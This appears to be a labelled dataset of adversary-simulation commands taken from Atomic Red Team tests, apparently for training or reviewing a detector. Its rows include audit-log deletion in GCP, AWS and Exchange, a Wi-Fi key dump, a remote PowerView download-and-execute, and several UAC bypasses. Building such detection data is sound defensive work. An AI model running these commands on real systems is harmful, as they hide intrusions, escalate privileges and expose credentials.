fb28a9fe9933555503581fc8,"$secure_pwd = ""#{password}"" | ConvertTo-SecureString -AsPlainText -Force $creds = New-Object System.Management.Automation.PSCredential -ArgumentList ""#{username}"", $secure_pwd Connect-ExchangeOnline -Credential $creds Set-MailboxAuditBypassAssociation -Identity ""#{target_email}"" -AuditBypassEnabled $false Disconnect-ExchangeOnline -Confirm:$false","$secure_pwd = ""#{password}"" | ConvertTo-SecureString -AsPlainText -Force $creds = New-Object System.Management.Automation.PSCredential -ArgumentList ""#{username}"", $secure_pwd Connect-ExchangeOnline -Credential $creds Set-MailboxAuditBypassAssociation -Identity ""#{target_email}"" -AuditBypassEnabled $false Disconnect-ExchangeOnline -Confirm:$false",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1562.008/T1562.008.yaml,Office 365 - Set Audit Bypass For a Mailbox,T1562.008,"[""T1562.008""]",office-365,0.55,True,"Use Exchange Management Shell to Mailbox auditing to bypass. It will prevent any mailbox audit logging entries being generated for the target e-mail box.
https://learn.microsoft.com/en-us/powershell/module/exchange/set-mailboxauditbypassassociation?view=exchange-ps
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
e69519e496fe68077fd3b4a9,gcloud config set project #{project-id} gcloud logging logs delete projects/#{project-id}/logs/cloudaudit.googleapis.com%2Factivity --quiet,gcloud config set project #{project-id} gcloud logging logs delete projects/#{project-id}/logs/cloudaudit.googleapis.com%2Factivity --quiet,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1562.008/T1562.008.yaml,GCP - Delete Activity Event Log,T1562.008,"[""T1562.008""]",iaas:gcp,0.9,False,"GCP provides 4 types of Cloud Audit Logs: Admin Activity, Data Access, System Events, and Policy Denied.
An adversary may attempt to delete logs in order to hide their activity. However, Admin Activity, System Events, and Policy Deny events logs cannot be deleted. 

This Atomic attempts to delete the Activity Event log. An event is generated under the method name of `google.logging.v2.LoggingServiceV2.DeleteLog` with a Serverity of `ERROR`.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
10525ea21863c1fd9bb2878c,"aws configservice stop-configuration-recorder --configuration-recorder-name #{configuration_recorder_name} --region #{region} echo ""*** Configuration recorder stopped ***"" aws configservice delete-delivery-channel --delivery-channel-name #{delivery_channel_name} --region #{region} echo ""*** Delivery channel deleted ***"" aws configservice delete-configuration-recorder --configuration-recorder-name #{configuration_recorder_name} --region #{region} echo ""*** Configuration recorder deleted ***""","aws configservice stop-configuration-recorder --configuration-recorder-name #{configuration_recorder_name} --region #{region} echo ""*** Configuration recorder stopped ***"" aws configservice delete-delivery-channel --delivery-channel-name #{delivery_channel_name} --region #{region} echo ""*** Delivery channel deleted ***"" aws configservice delete-configuration-recorder --configuration-recorder-name #{configuration_recorder_name} --region #{region} echo ""*** Configuration recorder deleted ***""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1562.008/T1562.008.yaml,AWS - Config Logs Disabled,T1562.008,"[""T1562.008""]",iaas:aws,0.9,False,"Disables AWS Config by stopping the configuration recorder, deleting the delivery channel, and deleting the configuration recorder. An attacker with sufficient permissions can use this to stop configuration change recording and avoid detection of subsequent activity.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
78b1fd74258c20efe0563b86,aws configservice list-configuration-recorders --region us-west-2,aws configservice list-configuration-recorders --region us-west-2,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1562.008/T1562.008.yaml,AWS - Config Logs Disabled,T1562.008,"[""T1562.008""]",iaas:aws,0.55,True,"Disables AWS Config by stopping the configuration recorder, deleting the delivery channel, and deleting the configuration recorder. An attacker with sufficient permissions can use this to stop configuration change recording and avoid detection of subsequent activity.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
b8de113b4ea82f3a6549e1c1,ps >> #{output_file} ps aux >> #{output_file},ps >> #{output_file} ps aux >> #{output_file},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1057/T1057.yaml,Process Discovery - ps,T1057,"[""T1057""]","linux,macos",0.9,False,"Utilize ps to identify processes.

Upon successful execution, sh will execute ps and output to /tmp/loot.txt.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
9d4816bf56e5ad52de30c9d8,rm #{output_file},rm #{output_file},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1057/T1057.yaml,Process Discovery - ps,T1057,"[""T1057""]","linux,macos",0.55,True,"Utilize ps to identify processes.

Upon successful execution, sh will execute ps and output to /tmp/loot.txt.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
a348a10b4b68bb2677a8768e,get-wmiObject -class Win32_Process,get-wmiObject -class Win32_Process,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1057/T1057.yaml,Process Discovery - get-wmiObject,T1057,"[""T1057""]",windows,0.9,False,"Utilize get-wmiObject PowerShell cmdlet to identify processes.

Upon successful execution, powershell.exe will execute get-wmiObject to list processes. Output will be via stdout. 
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
f96a7887becf222110882bbc,wmic process get /format:list,wmic process get /format:list,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1057/T1057.yaml,Process Discovery - wmic process,T1057,"[""T1057""]",windows,0.9,False,"Utilize windows management instrumentation to identify processes.

Upon successful execution, WMIC will execute process to list processes. Output will be via stdout. 
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
e0385dd71dee5385daec907b,tasklist | findstr #{process_to_enumerate},tasklist | findstr #{process_to_enumerate},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1057/T1057.yaml,Discover Specific Process - tasklist,T1057,"[""T1057""]",windows,0.9,False,"Adversaries may use command line tools to discover specific processes in preparation of further attacks. 
Examples of this could be discovering the PID of lsass.exe to dump its memory or discovering whether specific security processes (e.g. AV or EDR) are running.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
abd58e89dba2e3cca5ab7715,"Start-Process -FilePath ""$Env:ProgramFiles\Process Hacker 2\#{processhacker_exe}""","Start-Process -FilePath ""$Env:ProgramFiles\Process Hacker 2\#{processhacker_exe}""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1057/T1057.yaml,Process Discovery - Process Hacker,T1057,"[""T1057""]",windows,0.9,False,"Process Hacker can be exploited to infiltrate system processes, identify weak points, or achieve unauthorized control over systems. However, its malicious use can often be flagged by security defenses, rendering it a perilous tool for illegitimate purposes.",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
1894cfa374a46834cd393ffc,"Start-Process -FilePath ""C:\Temp\ExternalPayloads\PCHunter_free\#{pchunter64_exe}""","Start-Process -FilePath ""C:\Temp\ExternalPayloads\PCHunter_free\#{pchunter64_exe}""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1057/T1057.yaml,Process Discovery - PC Hunter,T1057,"[""T1057""]",windows,0.9,False,"PC Hunter is a toolkit with access to hundreds of settings including kernels, kernel modules, processes, network, startup, and more. When abused, this tool can allow threat actors to effectively access sensitive processes, collect system information, and terminate security software.",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
bccaf89f699f18dad33e6ce8,taskmgr.exe /7,taskmgr.exe /7,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1057/T1057.yaml,Launch Taskmgr from cmd to View running processes,T1057,"[""T1057""]",windows,0.9,False,"An adverary may launch taskmgr.exe with the /7 switch via command prompt to view processes running on the system.
[Reference](https://github.com/trellix-enterprise/ac3-threat-sightings/blob/main/sightings/Sightings_Conti_Ransomware.yml)
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
dc5d615a874a5b0c030a03ca,"cmstp.exe /s ""#{inf_file_path}""","cmstp.exe /s ""#{inf_file_path}""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1218.003/T1218.003.yaml,CMSTP Executing Remote Scriptlet,T1218.003,"[""T1218.003""]",windows,0.9,False,"Adversaries may supply CMSTP.exe with INF files infected with malicious commands
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
c8193396e0170d967a021f81,"cmstp.exe /s ""#{inf_file_uac}"" /au","cmstp.exe /s ""#{inf_file_uac}"" /au",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1218.003/T1218.003.yaml,CMSTP Executing UAC Bypass,T1218.003,"[""T1218.003""]",windows,0.9,False,"Adversaries may invoke cmd.exe (or other malicious commands) by embedding them in the RunPreSetupCommandsSection of an INF file
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
dc30b80f9aef0a478ebf935e,netsh wlan show profile * key=clear,netsh wlan show profile * key=clear,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1016.002/T1016.002.yaml,Enumerate Stored Wi-Fi Profiles And Passwords via netsh,T1016.002,"[""T1016.002""]",windows,0.9,False,"Upon successful execution, information about previously connected Wi-Fi networks will be displayed with their corresponding key (if present).",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
b07adc4d86d17fa09daa256d,"cmd.exe /C whoami wmic useraccount get /ALL quser /SERVER:""#{computer_name}"" quser qwinsta.exe /server:#{computer_name} qwinsta.exe for /F ""tokens=1,2"" %i in ('qwinsta /server:#{computer_name} ^| findstr ""Active Disc""') do @echo %i | find /v ""#"" | find /v ""console"" || echo %j > computers.txt @FOR /F %n in (computers.txt) DO @FOR /F ""tokens=1,2"" %i in ('qwinsta /server:%n ^| findstr ""Active Disc""') do @echo %i | find /v ""#"" | find /v ""console"" || echo %j > usernames.txt","cmd.exe /C whoami wmic useraccount get /ALL quser /SERVER:""#{computer_name}"" quser qwinsta.exe /server:#{computer_name} qwinsta.exe for /F ""tokens=1,2"" %i in ('qwinsta /server:#{computer_name} ^| findstr ""Active Disc""') do @echo %i | find /v ""#"" | find /v ""console"" || echo %j > computers.txt @FOR /F %n in (computers.txt) DO @FOR /F ""tokens=1,2"" %i in ('qwinsta /server:%n ^| findstr ""Active Disc""') do @echo %i | find /v ""#"" | find /v ""console"" || echo %j > usernames.txt",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1033/T1033.yaml,System Owner/User Discovery,T1033,"[""T1033""]",windows,0.9,False,"Identify System owner or users on an endpoint.

Upon successful execution, cmd.exe will spawn multiple commands against a target host to identify usernames. Output will be via stdout. 
Additionally, two files will be written to disk - computers.txt and usernames.txt.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
fc2999da538c5cdff278d816,users w who,users w who,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1033/T1033.yaml,System Owner/User Discovery,T1033,"[""T1033""]","linux,macos",0.9,False,"Identify System owner or users on an endpoint

Upon successful execution, sh will stdout list of usernames.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
1188caea5cf7917cd9a32ff6,[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 IEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f94a5d298a1b4c5dfb1f30a246d9c73d13b22888/Recon/PowerView.ps1' -UseBasicParsing); Invoke-UserHunter -Stealth -Verbose,[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 IEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f94a5d298a1b4c5dfb1f30a246d9c73d13b22888/Recon/PowerView.ps1' -UseBasicParsing); Invoke-UserHunter -Stealth -Verbose,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1033/T1033.yaml,Find computers where user has session - Stealth mode (PowerView),T1033,"[""T1033""]",windows,0.9,False,"Find existing user session on other computers. Upon execution, information about any sessions discovered will be displayed.",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
9e0702d3f871ba474f096575,[System.Environment]::UserName | Out-File -FilePath .\CurrentactiveUser.txt $env:UserName | Out-File -FilePath .\CurrentactiveUser.txt -Append,[System.Environment]::UserName | Out-File -FilePath .\CurrentactiveUser.txt $env:UserName | Out-File -FilePath .\CurrentactiveUser.txt -Append,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1033/T1033.yaml,User Discovery With Env Vars PowerShell Script,T1033,"[""T1033""]",windows,0.9,False,Use the PowerShell environment variables to identify the current logged user.,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
3ebe18c90afd655ed6e35c36,Remove-Item -Path .\CurrentactiveUser.txt -Force,Remove-Item -Path .\CurrentactiveUser.txt -Force,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1033/T1033.yaml,User Discovery With Env Vars PowerShell Script,T1033,"[""T1033""]",windows,0.55,True,Use the PowerShell environment variables to identify the current logged user.,unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
6e2dd35784b65addcc00ff00,[System.Security.Principal.WindowsIdentity]::GetCurrent() | Out-File -FilePath .\CurrentUserObject.txt,[System.Security.Principal.WindowsIdentity]::GetCurrent() | Out-File -FilePath .\CurrentUserObject.txt,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1033/T1033.yaml,GetCurrent User with PowerShell Script,T1033,"[""T1033""]",windows,0.9,False,"Use the PowerShell ""GetCurrent"" method of the WindowsIdentity .NET class to identify the logged user.",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
11ac44fd114692cfdfb466c1,Remove-Item -Path .\CurrentUserObject.txt -Force,Remove-Item -Path .\CurrentUserObject.txt -Force,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1033/T1033.yaml,GetCurrent User with PowerShell Script,T1033,"[""T1033""]",windows,0.55,True,"Use the PowerShell ""GetCurrent"" method of the WindowsIdentity .NET class to identify the logged user.",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
6ffc8600892e656c79860341,"$TokenSet = @{ U = [Char[]]'ABCDEFGHIJKLMNOPQRSTUVWXYZ' N = [Char[]]'0123456789' } $Upper = Get-Random -Count 5 -InputObject $TokenSet.U $Number = Get-Random -Count 5 -InputObject $TokenSet.N $StringSet = $Upper + $Number $rad = (Get-Random -Count 5 -InputObject $StringSet) -join '' $file = ""rad"" + $rad + "".tmp"" whoami.exe /all >> #{output_path}\$file","$TokenSet = @{ U = [Char[]]'ABCDEFGHIJKLMNOPQRSTUVWXYZ' N = [Char[]]'0123456789' } $Upper = Get-Random -Count 5 -InputObject $TokenSet.U $Number = Get-Random -Count 5 -InputObject $TokenSet.N $StringSet = $Upper + $Number $rad = (Get-Random -Count 5 -InputObject $StringSet) -join '' $file = ""rad"" + $rad + "".tmp"" whoami.exe /all >> #{output_path}\$file",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1033/T1033.yaml,System Discovery - SocGholish whoami,T1033,"[""T1033""]",windows,0.9,False,"SocGholish performs whoami discovery commands and outputs the results to a tmp file. 
The test will generate a filename similar to the random one generated during execution and write the file to AppData\Temp.

Reference: https://redcanary.com/threat-detection-report/threats/socgholish/
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
16a9daa596a9294a8acaf960,Remove-Item -Path #{output_path}\rad*.tmp -Force,Remove-Item -Path #{output_path}\rad*.tmp -Force,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1033/T1033.yaml,System Discovery - SocGholish whoami,T1033,"[""T1033""]",windows,0.55,True,"SocGholish performs whoami discovery commands and outputs the results to a tmp file. 
The test will generate a filename similar to the random one generated during execution and write the file to AppData\Temp.

Reference: https://redcanary.com/threat-detection-report/threats/socgholish/
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
ebc6ecf4d0b80e3b5c38e108,set file=#{output_file_path}\user_info_%random%.tmp echo Username: %USERNAME% > %file% echo User Domain: %USERDOMAIN% >> %file% net users >> %file% query user >> %file%,set file=#{output_file_path}\user_info_%random%.tmp echo Username: %USERNAME% > %file% echo User Domain: %USERDOMAIN% >> %file% net users >> %file% query user >> %file%,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1033/T1033.yaml,System Owner/User Discovery Using Command Prompt,T1033,"[""T1033""]",windows,0.9,False,Identify the system owner or current user using native Windows command prompt utilities.,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
23bf6901590f1a7d490b4143,del #{output_file_path}\\user_info_*.tmp,del #{output_file_path}\\user_info_*.tmp,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1033/T1033.yaml,System Owner/User Discovery Using Command Prompt,T1033,"[""T1033""]",windows,0.55,True,Identify the system owner or current user using native Windows command prompt utilities.,unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
05af0c70421e894325259e7f,"reg.exe add hkcu\software\classes\mscfile\shell\open\command /ve /d ""#{executable_binary}"" /f cmd.exe /c eventvwr.msc","reg.exe add hkcu\software\classes\mscfile\shell\open\command /ve /d ""#{executable_binary}"" /f cmd.exe /c eventvwr.msc",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1548.002/T1548.002.yaml,Bypass UAC using Event Viewer (cmd),T1548.002,"[""T1548.002""]",windows,0.9,False,"Bypasses User Account Control using Event Viewer and a relevant Windows Registry modification. More information here - https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/
Upon execution command prompt should be launched with administrative privileges. 
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
d37a49c8d3a8ef847e846337,reg.exe delete hkcu\software\classes\mscfile /f >nul 2>&1,reg.exe delete hkcu\software\classes\mscfile /f >nul 2>&1,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1548.002/T1548.002.yaml,Bypass UAC using Event Viewer (cmd),T1548.002,"[""T1548.002""]",windows,0.55,True,"Bypasses User Account Control using Event Viewer and a relevant Windows Registry modification. More information here - https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/
Upon execution command prompt should be launched with administrative privileges. 
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
a4a762b50ee2ea1288edf94d,"New-Item ""HKCU:\software\classes\mscfile\shell\open\command"" -Force Set-ItemProperty ""HKCU:\software\classes\mscfile\shell\open\command"" -Name ""(default)"" -Value ""#{executable_binary}"" -Force Start-Process ""C:\Windows\System32\eventvwr.msc""","New-Item ""HKCU:\software\classes\mscfile\shell\open\command"" -Force Set-ItemProperty ""HKCU:\software\classes\mscfile\shell\open\command"" -Name ""(default)"" -Value ""#{executable_binary}"" -Force Start-Process ""C:\Windows\System32\eventvwr.msc""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1548.002/T1548.002.yaml,Bypass UAC using Event Viewer (PowerShell),T1548.002,"[""T1548.002""]",windows,0.9,False,"PowerShell code to bypass User Account Control using Event Viewer and a relevant Windows Registry modification. More information here - https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/
Upon execution command prompt should be launched with administrative privalages
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
f2debb60672e0dff4123fc29,"Remove-Item ""HKCU:\software\classes\mscfile"" -force -Recurse -ErrorAction Ignore","Remove-Item ""HKCU:\software\classes\mscfile"" -force -Recurse -ErrorAction Ignore",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1548.002/T1548.002.yaml,Bypass UAC using Event Viewer (PowerShell),T1548.002,"[""T1548.002""]",windows,0.55,True,"PowerShell code to bypass User Account Control using Event Viewer and a relevant Windows Registry modification. More information here - https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/
Upon execution command prompt should be launched with administrative privalages
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
c3ff39cf74e19dc86c4cd2b4,"reg.exe add hkcu\software\classes\ms-settings\shell\open\command /ve /d ""#{executable_binary}"" /f reg.exe add hkcu\software\classes\ms-settings\shell\open\command /v ""DelegateExecute"" /f fodhelper.exe","reg.exe add hkcu\software\classes\ms-settings\shell\open\command /ve /d ""#{executable_binary}"" /f reg.exe add hkcu\software\classes\ms-settings\shell\open\command /v ""DelegateExecute"" /f fodhelper.exe",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1548.002/T1548.002.yaml,Bypass UAC using Fodhelper,T1548.002,"[""T1548.002""]",windows,0.9,False,"Bypasses User Account Control using the Windows 10 Features on Demand Helper (fodhelper.exe). Requires Windows 10.
Upon execution, ""The operation completed successfully."" will be shown twice and command prompt will be opened.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
9ae461582ef128f416840056,reg.exe delete hkcu\software\classes\ms-settings /f >nul 2>&1,reg.exe delete hkcu\software\classes\ms-settings /f >nul 2>&1,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1548.002/T1548.002.yaml,Bypass UAC using Fodhelper,T1548.002,"[""T1548.002""]",windows,0.55,True,"Bypasses User Account Control using the Windows 10 Features on Demand Helper (fodhelper.exe). Requires Windows 10.
Upon execution, ""The operation completed successfully."" will be shown twice and command prompt will be opened.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
93d801e5bca1f5593a6909b0,"New-Item ""HKCU:\software\classes\ms-settings\shell\open\command"" -Force New-ItemProperty ""HKCU:\software\classes\ms-settings\shell\open\command"" -Name ""DelegateExecute"" -Value """" -Force Set-ItemProperty ""HKCU:\software\classes\ms-settings\shell\open\command"" -Name ""(default)"" -Value ""#{executable_binary}"" -Force Start-Process ""C:\Windows\System32\fodhelper.exe""","New-Item ""HKCU:\software\classes\ms-settings\shell\open\command"" -Force New-ItemProperty ""HKCU:\software\classes\ms-settings\shell\open\command"" -Name ""DelegateExecute"" -Value """" -Force Set-ItemProperty ""HKCU:\software\classes\ms-settings\shell\open\command"" -Name ""(default)"" -Value ""#{executable_binary}"" -Force Start-Process ""C:\Windows\System32\fodhelper.exe""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1548.002/T1548.002.yaml,Bypass UAC using Fodhelper - PowerShell,T1548.002,"[""T1548.002""]",windows,0.9,False,"PowerShell code to bypass User Account Control using the Windows 10 Features on Demand Helper (fodhelper.exe). Requires Windows 10.
Upon execution command prompt will be opened.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
4a536765a5b8122a480cf308,"Remove-Item ""HKCU:\software\classes\ms-settings"" -force -Recurse -ErrorAction Ignore","Remove-Item ""HKCU:\software\classes\ms-settings"" -force -Recurse -ErrorAction Ignore",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1548.002/T1548.002.yaml,Bypass UAC using Fodhelper - PowerShell,T1548.002,"[""T1548.002""]",windows,0.55,True,"PowerShell code to bypass User Account Control using the Windows 10 Features on Demand Helper (fodhelper.exe). Requires Windows 10.
Upon execution command prompt will be opened.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
cdf9048fac71607884274bc6,"New-Item ""HKCU:\software\classes\ms-settings\shell\open\command"" -Force New-ItemProperty ""HKCU:\software\classes\ms-settings\shell\open\command"" -Name ""DelegateExecute"" -Value """" -Force Set-ItemProperty ""HKCU:\software\classes\ms-settings\shell\open\command"" -Name ""(default)"" -Value ""#{executable_binary}"" -Force Start-Process ""C:\Windows\System32\ComputerDefaults.exe""","New-Item ""HKCU:\software\classes\ms-settings\shell\open\command"" -Force New-ItemProperty ""HKCU:\software\classes\ms-settings\shell\open\command"" -Name ""DelegateExecute"" -Value """" -Force Set-ItemProperty ""HKCU:\software\classes\ms-settings\shell\open\command"" -Name ""(default)"" -Value ""#{executable_binary}"" -Force Start-Process ""C:\Windows\System32\ComputerDefaults.exe""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1548.002/T1548.002.yaml,Bypass UAC using ComputerDefaults (PowerShell),T1548.002,"[""T1548.002""]",windows,0.9,False,"PowerShell code to bypass User Account Control using ComputerDefaults.exe on Windows 10
Upon execution administrative command prompt should open
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
8c2387cd3bc231d14deb53d3,"mkdir ""\\?\C:\Windows \System32\"" copy ""#{executable_binary}"" ""\\?\C:\Windows \System32\mmc.exe"" mklink c:\testbypass.exe ""\\?\C:\Windows \System32\mmc.exe""","mkdir ""\\?\C:\Windows \System32\"" copy ""#{executable_binary}"" ""\\?\C:\Windows \System32\mmc.exe"" mklink c:\testbypass.exe ""\\?\C:\Windows \System32\mmc.exe""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1548.002/T1548.002.yaml,Bypass UAC by Mocking Trusted Directories,T1548.002,"[""T1548.002""]",windows,0.9,False,"Creates a fake ""trusted directory"" and copies a binary to bypass UAC. The UAC bypass may not work on fully patched systems
Upon execution the directory structure should exist if the system is patched, if unpatched Microsoft Management Console should launch
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
6ea3b619da52d90e164d9e5f,"rd ""\\?\C:\Windows \"" /S /Q >nul 2>nul del ""c:\testbypass.exe"" >nul 2>nul","rd ""\\?\C:\Windows \"" /S /Q >nul 2>nul del ""c:\testbypass.exe"" >nul 2>nul",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1548.002/T1548.002.yaml,Bypass UAC by Mocking Trusted Directories,T1548.002,"[""T1548.002""]",windows,0.55,True,"Creates a fake ""trusted directory"" and copies a binary to bypass UAC. The UAC bypass may not work on fully patched systems
Upon execution the directory structure should exist if the system is patched, if unpatched Microsoft Management Console should launch
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
175333c685be39fd271df260,"New-Item -Force -Path ""HKCU:\Software\Classes\Folder\shell\open\command"" -Value '#{command_to_execute}' New-ItemProperty -Force -Path ""HKCU:\Software\Classes\Folder\shell\open\command"" -Name ""DelegateExecute"" Start-Process -FilePath $env:windir\system32\sdclt.exe Start-Sleep -s 3","New-Item -Force -Path ""HKCU:\Software\Classes\Folder\shell\open\command"" -Value '#{command_to_execute}' New-ItemProperty -Force -Path ""HKCU:\Software\Classes\Folder\shell\open\command"" -Name ""DelegateExecute"" Start-Process -FilePath $env:windir\system32\sdclt.exe Start-Sleep -s 3",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1548.002/T1548.002.yaml,Bypass UAC using sdclt DelegateExecute,T1548.002,"[""T1548.002""]",windows,0.9,False,"Bypasses User Account Control using a fileless method, registry only.
Upon successful execution, sdclt.exe will spawn cmd.exe to spawn notepad.exe
[Reference - sevagas.com](http://blog.sevagas.com/?Yet-another-sdclt-UAC-bypass)
Adapted from [MITRE ATT&CK Evals](https://github.com/mitre-attack/attack-arsenal/blob/66650cebd33b9a1e180f7b31261da1789cdceb66/adversary_emulation/APT29/CALDERA_DIY/evals/payloads/stepFourteen_bypassUAC.ps1)
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
ad38e8cd7606df086b6dbd76,"Remove-Item -Path ""HKCU:\Software\Classes\Folder"" -Recurse -Force -ErrorAction Ignore","Remove-Item -Path ""HKCU:\Software\Classes\Folder"" -Recurse -Force -ErrorAction Ignore",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1548.002/T1548.002.yaml,Bypass UAC using sdclt DelegateExecute,T1548.002,"[""T1548.002""]",windows,0.55,True,"Bypasses User Account Control using a fileless method, registry only.
Upon successful execution, sdclt.exe will spawn cmd.exe to spawn notepad.exe
[Reference - sevagas.com](http://blog.sevagas.com/?Yet-another-sdclt-UAC-bypass)
Adapted from [MITRE ATT&CK Evals](https://github.com/mitre-attack/attack-arsenal/blob/66650cebd33b9a1e180f7b31261da1789cdceb66/adversary_emulation/APT29/CALDERA_DIY/evals/payloads/stepFourteen_bypassUAC.ps1)
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
a9151ff2cdc862d8d524c30b,reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f,reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1548.002/T1548.002.yaml,Disable UAC using reg.exe,T1548.002,"[""T1548.002""]",windows,0.9,False,"Disable User Account Conrol (UAC) using the builtin tool reg.exe by changing its registry key
